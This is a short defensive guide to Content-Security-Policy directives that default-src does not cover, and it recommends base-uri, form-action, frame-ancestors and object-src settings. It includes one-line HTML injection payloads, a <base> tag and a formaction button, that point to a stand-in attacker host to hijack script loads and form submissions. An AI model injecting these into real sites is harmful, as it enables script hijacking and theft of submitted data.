CSP Fail

I set default-src. Why is this not covered?

Because default-src is a fallback for fetch directives only, and three of the most important directives are not fetch directives.

The rule

default-src covers things the page loads: script-src, style-src, img-src, connect-src, font-src, media-src, object-src, frame-src, worker-src, manifest-src.

It does not cover these, because they do not describe a fetch:

Unset means unrestricted. A policy of default-src 'self' and nothing else leaves all four of those wide open, which is why a policy that looks tight can still lose.

What each one costs you when it is missing

base-uri — the expensive one

An injected <base href="https://attacker.example"> rewrites every relative URL on the page from that point on, including relative <script src> loads. Your nonced script tag still carries a valid nonce; it just now resolves to the attacker's origin. Nothing in script-src stops this, because the <base> tag is not a script.

base-uri 'none'

Almost no site legitimately needs a <base> tag. Set it to 'none' and move on.

form-action

A <button formaction="https://attacker.example"> inside your form overrides the form's action when clicked. It is not a script, not an event handler and not a navigation, so no script directive touches it — your payment form just posted somewhere else.

form-action 'self'

See it happen: Form hijacking

A live form-hijacking demo: the same checkout form, posting to an attacker, with and without form-action.

Identical page both times — the only difference is the Content-Security-Policy header. On the Report URI demo site.

frame-ancestors

Without it, any origin can put your page in an iframe and clickjack it. This one supersedes X-Frame-Options, and unlike XFO it can list multiple origins.

frame-ancestors 'none'

object-src

This one does inherit from default-src in current browsers — but it did not in CSP1 and CSP2, and the safe baseline is still to say it explicitly.

object-src 'none'

The four lines to add

base-uri 'none'; form-action 'self'; frame-ancestors 'none'; object-src 'none'

They cost nothing on almost every site, and between them they close a base-tag hijack, a form redirection, clickjacking and plugin execution.

Check whether your policy has them →